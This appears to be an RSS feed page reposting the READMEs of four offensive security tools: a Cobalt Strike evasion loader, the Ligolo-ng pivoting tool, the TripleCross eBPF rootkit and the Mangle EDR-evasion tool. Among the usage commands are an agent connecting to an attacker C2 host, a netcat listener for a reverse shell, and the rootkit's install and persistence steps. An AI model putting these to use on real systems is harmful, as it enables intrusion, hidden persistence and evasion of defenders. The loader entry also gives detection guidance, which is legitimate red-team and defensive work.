FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayYour RSS feeds

BokuLoader - A Proof-Of-Concept Cobalt Strike Reflective Loader Which Aims To Recreate, Integrate, And Enhance Cobalt Strike's Evasion Features!

By: Zion3R


A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!


Contributors:

Contributor Twitter Notable Contributions
Bobby Cooke @0xBoku Project original author and maintainer
Santiago Pecin @s4ntiago_p Reflective Loader major enhancements
Chris Spehn @ConsciousHacker Aggressor scripting
Joshua Magri @passthehashbrwn IAT hooking
Dylan Tran @d_tranman Reflective Call Stack Spoofing
James Yeung @5cript1diot Indirect System Calls

UDRL Usage Considerations

The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.

The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.

Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

Evasion Features

BokuLoader Specific Evasion Features

  • Reflective callstack spoofing via synthetic frames.
  • Custom ASM/C reflective loader code
  • Indirect NT syscalls via HellsGate & HalosGate techniques
  • All memory protection changes for all allocation options are done via indirect syscall to NtProtectVirtualMemory
  • obfuscate "true" with custom UDRL Aggressor script implementation.
  • NOHEADERCOPY
  • Loader will not copy headers raw beacon DLL to virtual beacon DLL. First 0x1000 bytes will be nulls.
  • XGetProcAddress for resolving symbols
  • Does not use Kernel32.GetProcAddress
  • xLoadLibrary for resolving DLL's base address & DLL Loading
  • For loaded DLLs, gets DLL base address from TEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
  • Does not use Kernel32.LoadLibraryA
  • Caesar Cipher for string obfuscation
  • 100k UDRL Size
  • Import DLL names and import entry name strings are stomped in virtual beacon DLL.

Supported Malleable PE Evasion Features

Command Option(s) Supported
allocator HeapAlloc, MapViewOfFile, VirtualAlloc All supported via BokuLoader implementation
module_x64 string (DLL Name) Supported via BokuLoader implementation. Same DLL stomping requirements as CS implementation apply
obfuscate true/false HTTP/S beacons supported via BokuLoader implementation. SMB/TCP is currently not supported for obfuscate true. Details in issue. Accepting help if you can fix :)
entry_point RVA as decimal number Supported via BokuLoader implementation
cleanup true Supported via CS integration
userwx true/false Supported via BokuLoader implementation
sleep_mask (true/false) or (Sleepmask Kit+true) Supported. When using default "sleepmask true" (without sleepmask kit) set "userwx true". When using sleepmask kit which supports RX beacon.text memory (src47/Ekko) set "sleepmask true" && "userwx false".
magic_mz_x64 4 char string Supported via CS integration
magic_pe 2 char string Supported via CS integration
transform-x64 prepend escaped hex string BokuLoader.cna Aggressor script modification
transform-x64 strrep string string BokuLoader.cna Aggressor script modification
stomppe true/false Unsupported. BokuLoader does not copy beacon DLL headers over. First 0x1000 bytes of virtual beacon DLL are 0x00
checksum number Experimental. BokuLoader.cna Aggressor script modification
compile_time date-time string Experimental. BokuLoader.cna Aggressor script modification
image_size_x64 decimal value Unsupported
name string Experimental. BokuLoader.cna Aggressor script modification
rich_header escaped hex string Experimental. BokuLoader.cna Aggressor script modification
stringw string Unsupported
string string Unsupported

Test

Project Origins

Usage

  1. Compile the BokuLoader Object file with make
  2. Start your Cobalt Strike Team Server
  3. Within Cobalt Strike, import the BokuLoader.cna Aggressor script
  4. Generate the x64 beacon (Attacks -> Packages -> Windows Executable (S))
  5. Use the Script Console to ensure BokuLoader was implemented in the beacon build

  6. Does not support x86 option. The x86 bin is the original Reflective Loader object file.

  7. Generating RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.
  8. See the Cobalt Strike User-Defined Reflective Loader documenation for additional information

Detection Guidance

Hardcoded Strings

  • BokuLoader changes some commonly detected strings to new hardcoded values. These strings can be used to signature BokuLoader:
Original Cobalt Strike String BokuLoader Cobalt Strike String
ReflectiveLoader BokuLoader
Microsoft Base Cryptographic Provider v1.0 12367321236742382543232341241261363163151d
(admin) (tomin)
beacon bacons

Memory Allocators

DLL Module Stomping

  • The Kernel32.LoadLibraryExA is called to map the DLL from disk
  • The 3rd argument to Kernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
  • the system does not call DllMain
  • Does not resolve addresses in LDR PEB entry as detailed by MDSec here
  • Detectable by scanning process memory with pe-sieve tool

Heap Allocation

  • Executable RX or RWX memory will exist in the heap if sleepmask kit is not used.

Mapped Allocator

  • The Kernel32.CreateFileMappingA & Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.

Sleepmask Detection

Indirect Syscalls

  • BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: NtAllocateVirtualMemory, NtProtectVirtualMemory
  • These are called indirectly from the BokuLoader executable memory.
  • Setting userland hooks in ntdll.dll will not detect these systemcalls.
  • It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
  • The BokuLoader itself will contain the mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.

Virtual Beacon DLL Header

  • The first 0x1000 bytes of the virtual beacon DLL are zeros.

Source Code Available

  • The BokuLoader source code is provided within the repository and can be used to create memory signatures.
  • If you have additional detection guidance, please feel free to contribute by submitting a pull request.

Credits / References

Reflective Call Stack Spoofing

Reflective Loader

HalosGate SysCaller

  • Reenz0h from @SEKTOR7net
  • Checkout Reenz0h's awesome courses and blogs!
  • Best classes for malware development I have taken.
  • Creator of the halos gate technique. His work was initially the motivation for this work.
  • Sektor7 HalosGate Blog

HellsGate Syscaller

Aggressor Scripting

Cobalt Strike User Defined Reflective Loader

  • https://www.cobaltstrike.com/help-user-defined-reflective-loader

Great Resource for learning Intel ASM

ETW and AMSI Bypass

Implementing ASM in C Code with GCC

  • https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
  • https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
  • http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm

Cobalt Strike C2 Profiles



Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

By: Zion3R


Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).


Features

  • Tun interface (No more SOCKS!)
  • Simple UI with agent selection and network information
  • Easy to use and setup
  • Automatic certificate configuration with Let's Encrypt
  • Performant (Multiplexing)
  • Does not require high privileges
  • Socket listening/binding on the agent
  • Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

  • SYN are translated to connect() on remote
  • SYN-ACK is sent back if connect() succeed
  • RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
  • Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng Β» session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] Β» ifconfig 
[...]
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Interface 3 β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Name β”‚ wlp3s0 β”‚
β”‚ Hardware MAC β”‚ de:ad:be:ef:ca:fe β”‚
β”‚ MTU β”‚ 1500 β”‚
β”‚ Flags β”‚ up|broadcast|multicast β”‚
β”‚ IPv4 Address β”‚ 192.168.0.30/24 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx MΓ©t MTU Γ‰tat Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] Β» start
[Agent : nchatelain@nworkstation] Β» INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] Β» listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] Β» listener_list 
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Active listeners β”‚
β”œβ”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€ ───────────────────┬─────────────────────────
β”‚ # β”‚ AGENT β”‚ AGENT LISTENER ADDRESS β”‚ PROXY REDIRECT ADDRESS β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€& #9508;
β”‚ 0 β”‚ nchatelain@nworkstation β”‚ 0.0.0.0:1234 β”‚ 127.0.0.1:4321 β”‚
β””β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[Agent : nchatelain@nworkstation] Β» listener_stop 0
INFO[1505] Listener closed.

Demo

ligolo-ng_demo.mp4

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

  • TCP
  • UDP
  • ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8. 00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

  • Implement other ICMP error messages (this will speed up UDP scans) ;
  • Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
  • Add mTLS support.

Credits

  • Nicolas Chatelain <nicolas -at- chatelain.me>


TripleCross - A Linux eBPF Rootkit With A Backdoor, C2, Library Injection, Execution Hijacking, Persistence And Stealth Capabilities.


TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.

TripleCross is inspired by previous implant designs in this area, notably the works of Jeff Dileo at DEFCON 271, Pat Hogan at DEFCON 292, Guillaume Fournier and Sylvain Afchain also at DEFCON 293, and Kris NΓ³va's Boopkit4. We reuse and extend some of the techniques pioneered by these previous explorations of the offensive capabilities of eBPF technology.

This rootkit was created for my Bachelor's Thesis at UC3M. More details about its design are provided in the thesis document.

Disclaimer

This rookit is purely for educational and academic purposes. The software is provided "as is" and the authors are not responsible for any damage or mishaps that may occur during its use.

Do not attempt to use TripleCross to violate the law. Misuse of the provided software and information may result in criminal charges.


Features

  1. A library injection module to execute malicious code by writing at a process' virtual memory.
  2. An execution hijacking module that modifies data passed to the kernel to execute malicious programs.
  3. A local privilege escalation module that allows for running malicious programs with root privileges.
  4. A backdoor with C2 capabilities that can monitor the network and execute commands sent from a remote rootkit client. It incorporates multiple activation triggers so that these actions are transmitted stealthily.
  5. A rootkit client that allows an attacker to establish 3 different types of shell-like connections to send commands and actions that control the rootkit state remotely.
  6. A persistence module that ensures the rootkit remains installed maintaining full privileges even after a reboot event.
  7. A stealth module that hides rootkit-related files and directories from the user.

TripleCross overview

The following figure shows the architecture of TripleCross and its modules.

The raw sockets library RawTCP_Lib used for rootkit transmissions is of my authorship and has its own repository.

The following table describes the main source code files and directories to ease its navigation:

DIRECTORY COMMAND
docs Original thesis document
src/client Source code of the rootkit client
src/client/lib RawTCP_Lib shared library
src/common Constants and configuration for the rootkit. It also includes the implementation of elements common to the eBPF and user space side of the rootkit, such as the ring buffer
src/ebpf Source code of the eBPF programs used by the rootkit
src/helpers Includes programs for testing the functionality of several rootkit modules, and also the malicious program and library used at the execution hijacking and library injection modules, respectively
src/libbpf Contains the libbpf library integrated with the rootkit
src/user Source code of the userland programs used by the rootkits
src/vmlinux Headers containing the definition of kernel data structures (this is the recommended method when using libbpf)

Build and Install

Requirements

This research project has been tested under the following environments:

DISTRIBUTION KERNEL GCC CLANG GLIBC
VERSION Ubuntu 21.04 5.11.0 10.3.0 12.0.0 2.33

We recommend using Ubuntu 21.04, which by default will incorporate the software versions shown here. Otherwise, some of the problems you may run into are described here.

Compilation

The rootkit source code is compiled using two Makefiles.

# Build rootkit
cd src
make all
# Build rootkit client
cd client
make

The following table describes the purpose of each Makefile in detail:

MAKEFILE COMMAND DESCRIPTION RESULTING FILES
src/client/Makefile make Compilation of the rootkit client src/client/injector
src/Makefile make help Compilation of programs for testing rootkit capabilities, and the malicious program and library of the execution hijacking and library injection modules, respectively src/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack
src/Makefile make kit Compilation of the rootkit using the libbpf library src/bin/kit
src/Makefile make tckit Compilation of the rootkit TC egress program src/bin/tc.o

Installation

Once the rootkit files are generated under src/bin/, the tc.o and kit programs must be loaded in order. In the following example, the rootkit backdoor will operate in the network interface enp0s3:

// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3

Attack scenario scripts

There are two scripts, packager.sh and deployer.sh, that compile and install the rootkit automatically, just as an attacker would do in a real attack scenario.

  • Executing packager.sh will generate all rootkit files under the apps/ directory.

  • Executing deployer.sh will install the rootkit and create the persistence files.

These scripts must first be configured with the following parameters for the proper functioning of the persistence module:

SCRIPT CONSTANT DESCRIPTION
src/helpers/deployer.sh CRON_PERSIST Cron job to execute after reboot
src/helpers/deployer.sh SUDO_PERSIST Sudo entry to grant password-less privileges

Library injection module

The rootkit can hijack the execution of processes that call the sys_timerfd_settime or sys_openat system calls. This is achieved by overwriting the Global Offset Table (GOT) section at the virtual memory of the process making the call. This leads to a malicious library (src/helpers/injection_lib.c) being executed. The library will spawn a reverse shell to the attacker machine, and then returns the flow of execution to the original function without crashing the process.

TripleCross is prepared to bypass common ELF hardening techniques, including:

  • ASLR
  • Stack canaries
  • DEP/NX
  • PIE
  • Full RELRO

It is also prepared to work with Intel CET-compatible code.

The module functionality can be checked using two test programs src/helpers/simple_timer.c and src/helpers/simple_open.c. Alternatively you may attempt to hijack any system process (tested and working with systemd).

The module configuration is set via the following constants:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h TASK_COMM_NAME_INJECTION_
TARGET_TIMERFD_SETTIME
Name of the process to hijack at syscall sys_timerfd_settime
src/common/constants.h TASK_COMM_NAME_INJECTION_
TARGET_OPEN
Name of the process to hijack at syscall sys_openat
src/helpers/injection_lib.c ATTACKER_IP & ATTACKER_PORT IP address and port of the attacker machine

Receiving a reverse shell from the attacker machine can be done with netcat:

nc -nlvp <ATTACKER_PORT>

Library injection via GOT hijacking technique

The technique incorporated in TripleCross consists of 5 stages:

Locating GOT and the return address

The rootkit hooks the system call using a tracepoint program. From there, it locates the address at the GOT section which the PLT stub used to make the call to the glibc function responsible of the syscall.

In order to reach the GOT section, the eBPF program uses the return address stored at the stack. Note that:

  • The .text makes a call to the .plt, so rip is saved as ret in the stack.
  • The .plt makes a jump to glibc using .got, so no other rip is saved. It also does not modify or save the value of rbp.
  • Glibc makes a syscall, which does not save rip in the stack, but rather saves it in rcx.

Therefore in order to check from eBPF that an address in the stack is the return address that will lead us to the correct GOT, we must check that it is the return address of the PLT stub that uses the GOT address that jumps to the glibc function making the system call we hooked from eBPF.

Two techniques for finding the return address have been incorporated:

  • With sys_timerfd_settime, the eBPF program scans forward in the scan using the syscall arguments.
  • With sys_openat, the eBPF program scans uses the data at tracepoints' pt_regs struct for scanning the return address.

Locating key functions for shellcode

The shellcode must be generated dynamically to bypass ASLR and PIE, which change the address of functions such as dlopen() on each program execution.

Injecting shellcode in a code cave

A code cave can be found by reverse engineering an ELF if ASLR and PIE are off, but usually that is not the case. The eBPF program issues a request to an user space rootkit program that uses the /proc filesystem to locate and write into a code cave at the .text (executable) section.

Overwriting the GOT section

Depending on whether Partial or Full RELRO are active on the executable, the eBPF program overwrites the GOT section directly or with the /proc filesystem.

Waiting for the next system call

When the next syscall is issued in the hijacked program, the PLT section uses the modified GOT section, hijacking the flow of execution which gets redirected to the shellcode at the code cave. The shellcode is prepared to keep the program from crashing, and calls the malicious library (src/helpers/lib_injection.so). This library issues a fork() and spawns a reverse shell with the attacker machine. Afterwards the flow of execution is restored.

Backdoor and C2

The backdoor works out of the box without any configuration needed. The backdoor can be controlled remotely using the rootkit client program:

CLIENT ARGUMENTS ACTION DESCRIPTION
./injector -c <Victim IP> Spawns a plaintext pseudo-shell by using the execution hijacking module
./injector -e <Victim IP> Spawns an encrypted pseudo-shell by commanding the backdoor with a pattern-based trigger
./injector -s <Victim IP> Spawns an encrypted pseudo-shell by commanding the backdoor with a multi-packet trigger (of both types)
./injector -p <Victim IP> Spawns a phantom shell by commanding the backdoor with a pattern-based trigger
./injector -a <Victim IP> Orders the rootkit to activate all eBPF programs
./injector -u <Victim IP> Orders the rootkit to detach all of its eBPF programs
./injector -S <Victim IP> Showcases how the backdoor can hide a message from the kernel (Simple PoC)
./injector -h Displays help

Backdoor triggers

Actions are sent to the backdoor using backdoor triggers, which indicate the backdoor the action to execute depending on the value of the attribute K3:

K3 VALUE ACTION
0x1F29 Request to start an encrypted pseudo-shell connection
0x4E14 Request to start a phantom shell connection
0x1D25 Request to load and attach all rootkit eBPF programs
0x1D24 Request to detach all rootkit eBPF programs (except the backdoor’s)

Pattern-based trigger

This trigger hides the command and client information so that it can be recognized by the backdoor, but at the same time seems random enough for an external network supervisor. It is based on the trigger used by the recently discovered NSA rootkit Bvp47.

Multi-packet trigger

This trigger consists of multiple TCP packets on which the backdoor payload is hidden in the packet headers. This design is based on the CIA Hive implant described in the Vault 7 leak. The following payload is used:

A rolling XOR is then computed over the above payload and it is divided into multiple parts, depending on the mode selected by the rootkit client. TripleCross supports payloads hidden on the TCP sequence number:

And on the TCP source port:

Backdoor pseudo-shells

The client can establish rootkit pseudo-shells, a special rootkit-to-rootkit client connection which simulates a shell program, enabling the attacker to execute Linux commands remotely and get the results as if it was executing them directly in the infected machine. Multiple pseudo-shells are incorporated in our rootkit:

Plaintext pseudo-shell

This shell is generated after a successful run of the execution hijacking module, which will execute a malicious file that establishes a connection with the rootkit client as follows:

Encrypted pseudo-shell

An encrypted pseudo-shell can be requested by the rootkit client at any time, consisting of a TLS connection between the rootkit and the rootkit client. Inside the encrypted connection, a transmission protocol is followed to communicate commands and information, similar to that in plaintext pseudo-shells.

Spawning an encrypted pseudo-shell requires the backdoor to listen for triggers, which accepts either pattern-based triggers or both types of multi-packet trigger:

Phantom shell

A phantom shell uses a combination of XDP and TC programs to overcome eBPF limitations at the network, specifically that it cannot generate new packets. For this, the backdoor modifies existing traffic, overwriting the payload with the data of the C2 transmission. The original packets are not lost since TCP retransmissions send the original packet (without modifications) again after a short time.

The following protocol illustrates the traffic during the execution of a command using a phantom shell:

A phantom shell is requested by the rootkit client which issues a command to be executed by the backdoor:

After the infected machine sends any TCP packet, the backdoor overwrites it and the client shows the response:

Execution hijacking module

In principle, an eBPF program cannot start the execution of a program by itself. This module shows how a malicious rootkit may take advantage of benign programs in order to execute malicious code at the user space. This module achieves two goals:

  • Execute a malicious user program taking advantage of other program's execution.
  • Be transparent to the user space, that is, if we hijack the execution of a program so that another is run, the original program should be executed too with the least delay.

This module works by hijacking the sys_execve() syscall, modifying its arguments so that a malicious program (src/helpers/execve_hijack.c) is run instead. This modification is made in such a way that the malicious program can then execute the original program with the original arguments to avoid raising concerns in the user space. The following diagram summarizes the overall functionality:

The arguments of the original sys_execve() call are modified in such a way that the original arguments are not lost (using argv[0]) so that the original program can be executed after the malicious one:

We have incorporated a sample test program (src/helpers/simple_execve.c) for testing the execution hijacking module. The module can also hijack any call in the system, depending on the configuration:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h PATH_EXECUTION_HIJACK_PROGRAM Location of the malicious program to be executed upon succeeding to execute a sys_execve call
src/common/constants.h EXEC_HIJACK_ACTIVE Deactivate (0) or activate (1) the execution hijacking module
src/common/constants.h TASK_COMM_RESTRICT_HIJACK_ACTIVE Hijack any sys_execve call (0) or only those indicated in TASK_COMM_NAME_RESTRICT_HIJACK (1)
src/common/constants.h TASK_COMM_NAME_RESTRICT_HIJACK Name of the program from which to hijack sys_execve calls

After a successful hijack, the module will stop itself. The malicious program execve_hijack will listen for requests of a plaintext pseudo-shell from the rootkit client.

Rootkit persistence

After the infected machine is rebooted, all eBPF programs will be unloaded from the kernel and the userland rootkit program will be killed. Moreover, even if the rootkit could be run again automatically, it would no longer enjoy the root privileges needed for attaching the eBPF programs again. The rootkit persistence module aims to tackle these two challenges:

  • Execute the rootkit automatically and without user interaction after a machine reboot event.
  • Once the rootkit has acquired root privileges the first time it is executed in the machine, it must keep them even after a reboot.

TripleCross uses two secret files, created under cron.d and sudoers.d, to implement this functionality. These entries ensure that the rootkit is loaded automatically and with full privilege after a reboot. These files are created and managed by the deployer.sh script:

The script contains two constants that must be configured for the user to infect on the target system:

SCRIPT CONSTANT DESCRIPTION
src/helpers/deployer.sh CRON_PERSIST Cron job to execute after reboot
src/helpers/deployer.sh SUDO_PERSIST Sudo entry to grant password-less privileges

Rootkit stealth

The persistence module is based on creating additional files, but they may get eventually found by the system owner or by some software tool, so there exists a risk on leaving them in the system. Additionally, the rootkit files will need to be stored at some location, in which they may get discovered.

Taking the above into account, the stealth module provides the following functionality:

  • Hide a directory completely from the user (so that we can hide all rootkit files inside).
  • Hide specific files in a directory (we need to hide the persistence files, but we cannot hide the sudoers.d or cron.d directories completely, since they belong to the normal system functioning).

The files and directories hidden by the rootkit can be customized by the following configuration constants:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h SECRET_DIRECTORY_NAME_HIDE Name of directory to hide
src/common/constants.h SECRET_FILE_PERSISTENCE_NAME Name of the file to hide

By default, TripleCross will hide any files called "ebpfbackdoor" and a directory named "SECRETDIR". This module is activated automatically after the rootkit installation.

The technique used for achieving this functionality consists of tampering with the arguments of the sys_getdents() system call:

License

The TripleCross rootkit and the rootkit client are licensed under the GPLv3 license. See LICENSE.

The RawTCP_Lib library is licensed under the MIT license.

The original thesis document and included figures are released under Creative Commons BY-NC-ND 4.0.

Footnotes

  1. J. Dileo. Evil eBPF: Practical Abuses of an In-Kernel Bytecode Runtime. DEFCON 27. slides

  2. P. Hogan. Warping Reality: Creating and Countering the Next Generation of Linux Rootkits using eBPF. DEFCON 27. presentation

  3. G. Fournier and S. Afchain. eBPF, I thought we were friends! DEFCON 29. slides

  4. Kris NΓ³va. Boopkit. github



Mangle - Tool That Manipulates Aspects Of Compiled Executables (.Exe Or DLL) To Avoid Detection From EDRs


Authored By Tyl0us

Featured at Source Zero Con 2022

Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners.


Contributing

Mangle was developed in Golang.

Install

The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands:

go get github.com/Binject/debug/pe

Then build it

go build Mangle.go

Important

While Mangle is written in Golang, a lot of the features are designed to work on executable files from other languages. At the time of release, the only feature that is Golang specific is the string manipulation part.

Usage

./mangle -h

_____ .__
/ \ _____ ____ ____ | | ____
/ \ / \\__ \ / \ / ___\| | _/ __ \
/ Y \/ __ \| | \/ /_/ > |_\ ___/
\____|__ (____ /___| /\___ /|____/\___ >
\/ \/ \//_____/ \/
(@Tyl0us)
Usage of ./Mangle:
-C string
